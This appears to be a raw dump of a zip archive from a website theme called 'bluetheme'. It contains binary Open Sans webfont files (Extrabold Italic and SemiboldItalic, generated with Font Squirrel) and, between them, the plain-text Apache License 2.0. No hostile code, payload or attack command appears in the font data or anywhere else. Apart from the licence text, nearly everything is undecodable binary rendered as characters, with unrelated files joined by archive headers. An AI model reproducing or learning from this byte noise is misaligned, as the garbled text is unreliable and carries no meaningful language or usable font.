+�3�		+�2�/�+0167!!%67!!mh� 6l���m�!13X�����>�����s��^�o��+�3�		+�2�/�+016?!36?!^13Y\\��):Y\'�I�u����b��[��v�������/�3�		+�2�/�+01>!36?!h2q\^��=V*\3�<��;�;���st��]V��m
.�
/�	+�	+�/�ִ+�+�+014>32#"&V^�r��˴����v�l���ޠH����Jh&'X�=L�9�/�ִ+�+015=���o��)
�������+��/�ִ+�+��901'%
oL��i�NI��"
����1�!!��A#����JH^�
:�+�
/�3�
+�2�

+�@
	+�/�+�
�9��9017!3#!7'3>7�Ewq)q��y�>
,òA���{{��F	=5���%X�"+�	�/�3�
+�2�/�3�
+�2�/�	��&/�'+�"� 9��9��
9�	�901737#73632&#"!!3#3267#"&'5+mj/uT>�s�V�xe�M)-���+�7NK�N~�����{��27��N��;@�R>%��A��f����+�
33�	+�$2�+�	+�+�
+�2�/�ִ+�
+�@	+�
+�@	+��+�+��+�+�+�6�€�H+
�.�����
��=�+
�.�
��� ����...�
.......�@��9015!##!!#47###f�������������!���!�/�J$��@.�poo!!o��o�����/�7&ILH���/�+&IOH�/��7=ALy�>+�A3�;+�-3��22�� ��03�=�/2�+�&?@$3�7�)6222�/�"3�
�2�
�*
E+�K	� 22�K�M/�?ֱ@
�A@?+�>�>/�A�?�B ��H�N+�6�>��+
��
��8����>$�+
�6.���)!��%��>���+
��
+�>��w+�	
+�8�8+�6�6+�)�&)%+�8�78+�	
 � �#9�	
%8.......@	
%&)678..............�@�?>�" ('$9�B�9�@A�EK99�
�BH$9013267#?>32&#"!7>32&#"3##"'3267!#"'!4632#"�?6JL��+�+ϬP�5c@A#1K)˲P�4b@A#1�A��+ݶna?6JK����+ݶna����ewk[ctm��<A��`J�� ��%#GE�� ��%#G��A��/<A��A���m��fgjIDdm�/��=AT�>+�A3�;+�-3��22�� ��03�=�/2�+�&33�7�)6222�/�"3�
�2�
�@ ��?3� �2�B/�?ֱ@�A@?+�>�>/�A�C+�6�>��+
��
��8����>$�+
�6.���)!��%��>���+
��
+�>��w+�	
+�8�8+�6�6+�)�&)%+�8�78+�	
 � �#9�	
%8.......@	
%&)678..............�@�?>�"('$9�@�99013267#?>32&#"!7>32&#"3##"'3267!#"'	!�?6JL��+�+ϬP�5c@A#1K)˲P�4b@A#1�A��+ݶna?6JK����+ݶna�I����<A��`J�� ��%#GE�� ��%#G��A��/<A��A������
���_<����������C���s����d����o��+�=VP����D��{V��fs���s����?�����������N�#�1�jss���X�f�m��-Rh��!
hy!!�!�h�!����Z!7!F!R!�h�!�h3!b+j��}��{�N����P�������{H����Ho��T�T�T�TH�/y�{�������h��T���T�?�`ZX�f���Z����������`o��������j�L��%oP�q;��=�R��q��`��fPPBo���%fss�#Ps1�����O�h���h��h��h��h��h��h�����
h!!!!����y
R!�h�h�h�h�h�f�^�}�}�}�}���!����T�T�T�T�T�T�TT�T�T�T�T�������T��T�T�T�T�T�fB�`�`�`�`Z���Z��uh
T��o��
o-���??�j����!�!�m�^m���m�^b��#V�=������P�5)fo�/�/s�/o�/2222j��8����*n����B��P���6��	&	:	^	r	�
�
�l�b�

x
�
�h�<��P� ��>l��0`��0Tp��L��f��:��\�t�L��D�.�Dt0� L L � �!<!�""0"�##�$
$0$Z$z%&%0%�%�&(&�&�'F'�'�'�(&(t(�(�(�(�)<)H)T)`)l)x)�)�)�)�)�)�*** *,*8*�*�*�*�*�*�*�*�+l+x+�+�+�+�,*,�,�,�----$-�-�-�....$.0.<.H.�.�.�.�.�.�//L/�/�/�/�/�00�0�0�1,1�1�1�2J2�2�2�2�2�2�2�2�2�2�2�2�2�2�2�3
3$3J3p3�3�3�4,4^4n4n4�4�4�4�55l666"6.7`8r�M=yf	r	r	 �	�	4�	�	0�	�n.Digitized data copyright � 2010-2011, Google Corporation.Open SansExtrabold ItalicwebfontOpen Sans Extrabold ItalicVersion 1.10OpenSans-ExtraboldItalicThis font was generated by the Font Squirrel Generator.���ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E��+�+D� E�d+�+D� E�=+�+D� E�*+�+D�	 E�+�+D�
 E�+D� E�
�+�Fv+D� E�+�Fv+D�
 E�
�+�Fv+D� E�
+�Fv+DY�+PK!䒾�#�#<bluetheme/assets/fonts/OpenSans/Apache License Version 2.txtnu&1i�Apache License

Version 2.0, January 2004

http://www.apache.org/licenses/

TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

1. Definitions.

"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.

"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.

"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.

"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.

"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.

"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.

"Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).

"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.

"Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution."

"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.

2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.

3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.

4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:

You must give any other recipients of the Work or Derivative Works a copy of this License; and

You must cause any modified files to carry prominent notices stating that You changed the files; and

You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and

If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.

5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.

6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.

7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.

8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.

9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.PK!�w�%T�T�Cbluetheme/assets/fonts/OpenSans/OpenSans-SemiboldItalic-webfont.ttfnu&1i�FFTM_���GDEF( OS/2��#H`cmap�\l���cvt *Y�6fpgm�/��egasp<glyf�0��Du�head����{�6hheaa�|$hmtx��:|,�loca����maxp��� name+�F6���post-����prep���u���ɉo1�������"X�3�3�f��@ [(1ASC! ����X �R� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�R�������������������������,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�<�+�+�+�+�/�ִ
+��+�
+�	+013!%!!�I�y����Jh�!��X�7�
+�	/�+�/�ִ
+�+��
99�
�90174632#"&!![U9D^L>E���`PdA=ObC�����}�2�+�3�+�2�/�ִ
+�	+��9901333�H��J������37�G�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ִ+��+�2�+�2��+�+�!+�6�=h�+
�=��\+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@��9017!!7!3333!!!###73#3T��'y�y�y�y���T��y�{�y�u�R������Z��Z���^��^��=��H%+s�/�3��&2�
+�@	+�2�/�#/�3��2�,/�ֱ � � ��
+�/�
+�
+�@	+� �)+�� ��

+�-+�6�>j��+
�����
���+�>��+�+�+��
+�
+�>��+�
+�
+��+�>��+�"+�#+��&
+�>��+�+
+� � �#9�"9�+
9�9�
"+......@"#&+............�@��9�� $9�#�
990175.546?3&'#7&>54'=N�\T����%�#��V�nP�u8��-�-�nDYYxVes��*8�8�u����B�B��3XrN����
�b)?]��bMe,���F�
+7��+�)+�.�+�+��)
+��"4)
+�"��8/�ִ+��+�+��+�,+�,�2+�%+�9+��9��999�2,�")999�%�9�.�,99��%299�"�99��99014632#"&332>54#"4632#"&732>54#"�j�w�o�s|�Z>��\P4W;R7X5^j�v�o�q��Q4X;T4W9h�'�����͚��-��Jb�t�f�z�N�*�����˚���u�h�s�B��Z�&1w�+�+� �+�/��2/�ֱ��+�'�'�,+��3+�'� $$9�,�#999��$9� �9�/�$)$901467&54632673!'#"&73267>54&#"B��XṠ����mH�q���^j�|���p[M�J���a>�iH=W^^��b���բ���[��p����PG��Vm67}J��m\KuDBGl���"�+�+�/�ִ
+�+013�H����N���
 �+�/�ֱ�+��	9013#N���s��WC��~�����f��/�
 �+�/�ֱ�+��9013��s�������$�G
�����������V�7%%'�Gb%�t�����f�%�ò+���-��=s�Ȑ
u�U�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	+�2�	

+�@		+�
	
+�@
	+�
+015!3!!#u{�y���w�}�����w����V� �/�	+�/�ִ

+�+0163fi_�}�������/�R�!�/����/�ִ
+�+017!/-�-���!��N.�	/�+�+�/�ִ
+�
+�
+0174632#"&!^T8C_MB?^Sc?=NgG����#3\+����J\��L�
D�+��+���/�ֱ��+��+��99��9901$32#"73265#"\���ž��¿�NZd�c�a�k�������ꏖ����o���
S�+�3�+�3�/�ֱ�+�6�>��+
�������.�..�@��
9013#67�����69N�y=�Jf��7/u��?�G�+��+�	��/�ֱ�+��99��9�	�999��
901#7>54&#"'>32!$װ}8cZF�esx�u��N���n)����{FUc<O�aS��l�ë�����?�(i�'+��+��
'
+���)/�ֱ#�#� ���/��*+�'�9�
�#99�� 99��99��9017532654!#732654&#"'>32#"T�^����%j��cZH�Xhx�y��ƪ������;�15�}۷�}O[3;�QA�����{��r��B�
��	+�3�+�	
+�33��
22�/�	ֱ�+�6�>���+
�	�
�����+�	�
	
+�	
+�
.�

.....�@��9��901733##%!67#%#���+�D�E���DE3T=���H��=�5��Vd5��X���+��
+��	

+���	
+�@		+�/�ֱ
�+�6�=s�+
�
.�.�
������.�
....�@��9�	�99017532654&#"'!!632#"5����|~_�X��-�j]>�׌���;�d��i#D���϶��o��m�(j�+��+�
�#
+���)/�ֱ��!+��*+�!�
#$9��
99�#�9��
9�
�9��9014$32&#"3632#"&732>54#"oy�%�uV+Hm��A}ɜ������c[Q|D�3YE0����������ƭ�����n�a�f�&:G]}��"�+�+���/�+��9013!7!}�^+�!�
�ͨ��L��^�#/w�+��+�-��0/�ֱ�+�$��+��� ��*�*/��1+�$�9��!'-$9�*�9�-�!'$901%.54632#"&732654&'>54&#"Lp[O�˳О�xi{����vcs�a[���NAs}`P]r\)�F�W�۲���BN�ry�iȽ]p�g[�56�oSl'+|_Q[p\��7�&k�+��+�#�	
+�	��'/�ֱ�� +��(+��99� �	999��9�	�9��9�#�990175326##"&54632
#"32654&#"\ys��;q������t������\Xu�`VRD�+�
�̺�
����]���in��l�^�!���jM�	/�+�/�+�/�ִ
+�+�
+�+��	9��99��90174632#"&4632#"&!^T8C_MB?�^T8CaMB=^Sc?=NgG�Sc?=OfG�����j*�/�
+�/�ִ
+�+�
�9901634632#"&d_g�}��^T8CaMB=��� ����Sc?=OfGs��5	s��G��y������u���/��/���/�	+015!5!u��X�������s��75	5s��J���/X�y�����%t�+�"�	/�+�&/�ִ
+�2��+�/��+��'+��9��	%999��"$9�"�%999��90174632#"&632#>7>54&#"�^T8CbLB=�˫��h\�k{kO%UQM�N^Sc?=OdE0q��x�wJvU��ZMPQ0FX7%d�F��8D��5/�0+�/�3�;+�"2�A/�+�)/�+�E/�ִ-+�-�+�9+�9�&+�+�F+�6�=��+
�>�?������>?....�>?....�@�&9�)025$9�05�39��29�A;�&-$901$!2#"&'##"&5463232>54$#"327#"$%326?&#"d���$�wքbie�{���4UJ\eOH|G������������Ʃ@pRw)@54V�R�����蹰�ۦ\J�����
�xr-\��z�������V�Z�8坐��k���N���+�33�+�3�
+�	3��2�/�ֱ�+�6��S��+
��������+�	+��A�I+�
+�
 � �#9�
..�	
.....�@��901#!#!!&5y��)��9m(7W��H��jf��4��F�� ��+�3��+� �
+���!/�ֱ
� ��
�"+�6�>��\+
�.� .���� ���� +� +� ......�@��	99��9��	99� �9013!2!'32654&+732654+F5��㭙lw����ߓ�xt�(Nj�ߵ������l�Ɉ~bg�yo����!�@�+�� ���+�
��/�ֱ
�+�
�999��901$32.#"327#"��`�٬^?�Z�򑥡������!��\�"0���̴�D�C)F�	`�	+�3�
�+�3���/�ֱ
�+�6�>��+
�.�.��
�����
....�@�
�9013! !'32$54&+F5q$����{�����������l�ɬ8ȸ�F��i�+�	�+��
+���/�
+�6�>��+
�.�.��	
���
��	�	+�	+�	......�@013!!!!!F5+��T�)�`+��u�8�F��	`�+�	3�+��
+���
/�ֱ	�+�6�>���+
����	���	+�	+�....�@013!!!!F5+��`�-���:�����\�~�+��+�
�
+�3��2�/�ֱ
�+�6�>��+
�.�������..�....�@��99�
�9��901$32&#"327!7!# ��w�o�gZ��������mjP��+�pՄ������)1�V���ͷ�!s� (%$F����+�333�+�333�

+�	3��2�/�ֱ��+���+���+��
+�6�>���+
�>��+
��+��+�	+��
+�	
....�@0133!3#!F5�6���ʋ���V�J��mFh�?�+�3�+�3�/�ֱ��+��+�6�>��+
�@0133F7����J���hs�Y�+�3�/���
/�ֱ�+�6�>��+
�������..�..�@��9��90173273#"��TE�5+��.��h������Z��Ff���+�33�+�33�
/�ֱ��+��+�6�>���+
�>���+��+�+� � �#9�9�..�..�@��
9��
901337!	!F5헍���A����u��>��c���d��Fy�E�+��+�3�/�ֱ�+�6�>���+
�������..�@0133!F5�+���D����+�$3�+�33�/�ֱ��+��+�6�>���+
��������I��+
�.�������>���+
��	�����	....�	........�@��
99��9��9013!3!#67###D5Cm^X���'/�}�s	.����}�Jh���B�v��D����+�
33�+�	33�/�ֱ��+�	�+�6�>���+
�������>��+
����	�
��>��+��+�+��+�+� � �#9�9�9�9�......�
........�@��99013!3673!#D5�2�����f
����6A�J�E��������
D�+��+���/�ֱ
��+�
�+��99��9901$32# 32654&#"��V�����������{����������L�+
���S����F��
v�+�
3�+�3��	
+�	��/�ֱ
�
�+��+�6�>���+
����
���	
+�
+�	....�@��9013!2!#32654&+F5N����ns�^��uyw�������쟒md�����S�+��+���/�ֱ
��+�
� +��
$9��9��
9��9901$32!# 32654&#"��V��������������{�����������[��H+
���SѪ����F��
��+�	
33�+�3��
+���/�ֱ
�
�+�
�+�6�>���+
����
���
+�
+�....�@�
�
99��	9��9��9013!2!#32654&+F5R����Ϻ{�{��v|w��ĥ�4��H����i\'��;�$g�#+��+���%/�
ֱ
��+� 
�&+�
�
#999��	99� �999�#�9��
 $9��9017532654&'.54>32&#"#"'����R�id5{�ͰV��m�?g�v���7�auhEkSCn�O��l\�Nu^/G=Aa�u�����J�+�3�+��22�/�ֱ�	+�6�>��+
�������..�@017!!#�-�+��������������v�+�
�+�33�/�ֱ�+���+��+�6�>��+
��
�����
..�
..�@��
99�
�90147332673#"&���wy��'���8�����SW��wXFfq����D������H�Q�+�+�	33�
/�ֱ�+�6��6��+
�������.�..�@��90133673!��J	FC������wg�L����J�����+�3�+�33�/�ֱ�2�� ��+�/�+��+�
'+�
�+�/�+��9��99�
�	9��99901336733>73!'7#!��
S;��Tf��q��%/F�������݆I����X�+N�JJ�j������%�-�+�3�+�3�/�	ֱ
�
+��
9901#3!	!oJ����
�����J����:�P����g�+�3�+�3�	/�ֱ�� ���/��
+�6�>��+
�������..�..�@��9013!#���
��r�w��c��o��)����	.�+��+���
/�+��9��901#7!7!!'!R��+�#���+�?Ϭ������L�+��/�3���/�	+�6�>���+
�.�.�������....�@01!#3}�'���'�����g����E�+�3�+�3�/�ִ'+��+�'+�+�6�����+
�@013#������J�q����U�+�3��2�/�3��2�/�	+�6�>��+
�.�.�������....�@0173#7!�%�1�'���������%��+�/�ִ+�+013#%`���N��[��N�D����H�/�+�+�/�+017!�1������! �/�
+�	/�ִ
+�
+0153#.�/U�A���?�^��f h�+�+��	+�+���!/�ֱ��+�+�"+��$9��
$9��
999�	�9014632373#7##"&732654&#"^��a�'
>�������QHR�f^LU�Zo�`�[W�����˾fe��Xk���/��P#\�+�+��
+� ��$/�ֱ��+�
�%+��$9��
 99��9� �
99901333>32#"&'#32654#"/J�G
2Z�V����b�(
@�]UU�V�Q�c��?�/qW϶���ZV�u`k��ɠ��^���f=�+��+�	��/�ֱ�+��9�	�999��9014$32&#"3267#"&^�
���Fzc��pcJ�A������S�=�5���ox, �G�^���!p�
+�+��+���"/�ֱ��
+�+��
+��#+�
�$9��$9��999��990146323673#7##"&732654&#"^��Y
L��X�\���R�aWYU�Xq�dIJ�hf��jZ˾ˤ�[n���^���f#i�+��+�!�

+�
��$/�ֱ
�
�+��%+�
�$9��99��9�
�99�!�9014$32!#3267#"&32654&#"^�	�������+qpH�a`�c����@?`���U�����o~&.�,%��kb39������+��+��2�+�/���/� +�6�>���+
��	�������	+�	+��+�+�	....�	........�@��9��9��9��9��901327#?>32&#"3##"'�@2�+ٳ�,��s`=J>ES�%��(��Z;����jL\Ƨ+�VbV��㽲���wf'4A��%+�+�+�>+�2�
+�>+�8%

+�8+�B/�ִ(0+�(�
+�5� ��0+�5�<+��. ��"�C+�6����+
�2�1���� �� +�  � �#9�12....�12....�@�
�%999�5�+9�.�
8>$9�"�9�+�"$9�8�99�>�
9901467&5467&54632!#"'!"&732654&/32>54#"y��L]d���PP���4(o?<��������or��Zq�pxGBA_5�Ab6�g�4-REe/Q����!:O��(@&�z�֖�AMle3:jGMN�Q�M�/J��+�333�
+���/�ֱ��+���+�
�
+��/��+�6�>���+
�������>���+
��������+�+�+�+� � �#9�9�9�9�........�......�@��9��
99��
9901333>32#654#"/J�9.T�]�����p�-b��~�Kj^��Lb�s�Z%���-/V�\�+�3�+�3�
/�+�/�ֱ��+�� ��

�+�6�>��+
�@��
9901334632#"&/���/NG5BPA5FR��bDT56GR4���V�x�
+��+�3�/�+�/�ֱ�
 ��
�+�6�>���+
�������..�..�@�
�99�
�9��9013273#"'4632#"&��@5�'�&��Z;RLG6APA5D����!��7DT56GR3/���+�
33�+�/�ֱ��+��+�6�>��!+
�������>���+�+�+�
+�
 � �#9�9�9�
.....�
...�@��999��9901333!	!/J�1#��#��шM���|�����`��/dI�+�3�/�ֱ��+��+�6�>��+
�������..�@0133/J���/�f&��+�333�+�+�3�"�2�'/�ֱ&�&�+�+��+���+��+��/��(+�6�>���+
�������..�..�@�&�99��"99��	99��99�"�	$9013336323>32#654#"#654#"/�	���"K�g����yl�+e�un�-bR���tw��@u�s�_&����R-���+/Jf��+�
33�+�+���/�ֱ��+�+��+�
�
+��/�
�+�6�?	��+
����
���..�..�@��99��99��
99901333>32#654#"/�	S�g�����H�pbR�vk��Ep�s�Z)�r׈�+^��7d
D�+��+���/�ֱ��+��+��99��99014$32#"&732>54&#"^���ܒ�����caZ�Pb[]�Q��L�������ov���ky����Pf s�
+��+�+��/�!/�ֱ��+�+��+�	�"+��$9��
$9�
�99��	9990133632#"'#32654#"7R�	������X
`�]UU�V�Q�e�>��η��ưaX�1a`k��ɟ��^�f"_�+��+�+��/�#/�ֱ��+�
�$+��99�
�$9��999��9014632373#>7##"&732654&#"^�[
@����K?T�Z���P�a[QV�Yo�f�����]8�lZͼˢ�^k���/�fH�+�+�+���/�ֱ��+�+�+��99��9901333>32&#"/�	S�]>.360~�'jR�xi����qf"_�!+��+���#/�ֱ��+��$+��	!999��999�!�9��$9��9017532654&'.54632&#"#"��axEk}gֶĖL�~I[BfiX.�Ҿ/�ZPE3I=C�_��T�LB;-F7;TcA��\��%H��+��+��2�
+�@	+�+�/�ֱ�+�6�>��+
�.�����	��	..�	....�@��9��9��99��901?3!!327# 547\���4'��z
23DS#x<��y�nR���7%+3��9J:o���R��+�+�
�+�33�/�ְ2��+���+�+��+��+�6�>���+
��������+�+� � �#9�9�....�...�@��
99��99�
�99901467332>73#7##"&o{�H�nc��R�g��?{>H���4�rӎ���tm�dPR0�+�+�	3�
/�ֱ�+��9��90133>73!d�7T7�����R����J�)V��y^Rb�+�3�+�33�/�ֱ��+�/��+�+� ��	+�+��99��99901336733>3!'7!y�
	B+�P/���5����R�zW��`k��5�2�n��sF�>~�;��TR&�+�3�+�3�/�
+��
9901#3!#V���3�����9��u�����}�V�RR<�+��+�3�/�ֱ�+��9��9��9901326?33673#"'�K2Jx@3��?	V1%��PZԏLC��Wp\\��>�E�b>������R	.�+��+���
/�+��9��901#7!7!!'{�I'�%���%�
���
���J�'��	+��/��/���(/�&ִ'+�&
+�@	+�� ��!0+�!/�0+�)+�6�>��+
�#�������#�#+��+�+�#�$#+�$# � �#9�9�9�9�#$........�#$........�@�&�99��!99��99017267>;"3# 54?654'x�;Z�{<)`WF~t�+AM'��-�Ue��<�DR��l}-�&S�03/��=H�A!����/�ִ+�+�+013��������&��+��&/��/���'/�
ִ'+� ��0+�(+�6�>k��+
��
��"�����
+�
+�"�"+�!"+�
 � �#9�9�!"9�9�
!"........�
!"........�@��99��99��
9901>7>75&54?654&#73 3"+Xj]F~t�+
VN#>-�'y�?"���EP5mz0�7B�,:(��=H�A!��Td��o;+h��/�33�	�2�	+�3��22�/�+�6��u�t+
�.�.���������++��+�+��+�+� � �#9�9�9�9�....�........�@��
9�	�90156323267#"&'.#"od�@m\FZ12}:g�?zMLW03z;�l'>:�o!! >���
^.�+�
+�/�ִ

+�+�
�9990134632#"&-
��bNA<^P;D����RdG6Pd?��1���+�3�+�3�
+��
+��2�/�ֱ�+�
+�
+�@	+��+�
+� +�6�>��+
��+��+�+�>��+��+� � �#9�.�....�@��9��9��9��
999��	90146?3&#"3267#7.��#�%|aE}ac�YpcJ�A��(�-��J�B���-�5���ox+ �E��"�������+��2�+��
+�33��22�/�+�6�>��v+
���������+�+��+�+�....�........�@��9��
901#76?#73>32&#"!!!&�2#�$�=&湼�X�s�*9M"��!_S�-�-礬+��V�J�꬘b�*���'z�+�%�/���(/�ִ+��"+�+�)+��$9�"�$9��	
$9��$9�%�	
$9��$90176327'#"''7&54732654&#"�wfilcy�==w_pxWu==k}\[��[\}!w=?�u�clr_}w;;}w}_pn_�[~|]]~�j����+�3�
+�3�

+�33�+�22�

+�3�+�22�/�ֱ�� ���/��+�6�>��I+
��������+��+�+��+�......�@��9�
�	901?!7!73333!!!#7j!��#��������#��!��5�3���c���������#�/�ְ2�+�2�+�	+013#3򲲲;�����'���#,8��++��/���9/�ִ-+�-+��-�3+�#'+�(#3+��/�(�:+�-�
+999��	99��0699�3� &$9�(�!9�+�9��(06$9��9017532654&'.547.54632.#"#">54&''��ttNf�v�/>߹��D>�MVaIpwilf�ϼ�]>KcjES5�]QG+I0<�b�w dA��N�+E<+C28�`\�=Lu��'=W9$m<<Y-j��5�	/�3�,+�2�,+�/�ֱ��+��+014632#"&%4632#"&�F?09G:/>F?09G:/>d<L/0AJ/3<L/0AJ/���b�5��+�+�+�+�3-
+�3+�#(
+�#+�6/�ִ
+�� +�++�+�+�
+�7+�+�#%03$9�-3�19�(�&0$9�#�%9014$32#"$732$54$#"4632&#"3267#"&��^��]�������{�$��%���ݭ��ۨ��NJ�DjZq}�/�,u{����^��������Zƨ�߬�!��#���۫�B�7���� �3��;�l�+�3�+�/�+�/�ִ+��+�

+�+��$9�
�
$9��
99��9��9014>32373#7##"&732>54#"�^�]q5'v�{
2`=[i�]2_;fRq���rgZ�Ti>7�x}`�Ow�Pd�
55P��������蓴)�v����L��p����Lu+3�/��
+�@	+�/�ִ+�
+�@	+�+015!#u��w���w/�R�!�/����/�ִ
+�+017!/-�-������b�,5��+�+�+�+�+-
+�++�+-
+�@+ 	+�(2�"5
+�"+�6/�ִ
+�� +�,+�-2�,�1+�$+�$�+�
+�7+�1,�*$9�$�')99��(9�-+�'$9�5�$9014$32#"$732$54$#"! ##32654&+��^��]�������{�$��%���ݭ��ۨb
Q[U�Ȭ[HTZ[SH��^��������Zƨ�߬�!��#�����n��S|$��E���H?I8o%��/����/�+017!o'�)���;N�N�+�+�	/�+�/�ִ

+�
�+�
+�+�
�	99��99014632#".732654&#"�ˆ����X�X�hJHhgIJh���ˆ��X�XFhhFJhgu�d�+��/�3��	2�
+�@	+�
+�@	+�/�ְ2�
+�2�

+�@
	+�2�
+�@	+�2�+0135!5!3!!#u��X{�y�������}�����vNJ�N�+�	+�/�+�/�ִ+�+��99��9�	�999��9017%>54&#"'>32!N
oK#80[dPD�^s�/ev�s!J��_RH&.4P{67x_Eon[��h9�#�+�+�"/�+�	/�
